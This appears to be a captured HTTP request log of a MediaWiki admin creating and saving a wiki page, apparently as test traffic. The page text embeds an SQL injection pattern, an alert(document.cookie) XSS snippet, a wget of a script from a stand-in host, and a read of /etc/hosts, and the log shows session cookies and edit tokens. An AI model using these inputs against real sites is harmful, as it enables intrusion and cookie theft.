{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQ8uGGBD9y406eaI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=bzxdy", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/jquery.tablesorter.styles/images/sort_both.svg?0e440", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGNPKGFIkEp6MCBZL", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.diff.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jtnhc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryui9xf8Ac2sqeBZgh", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh--\r\n"}
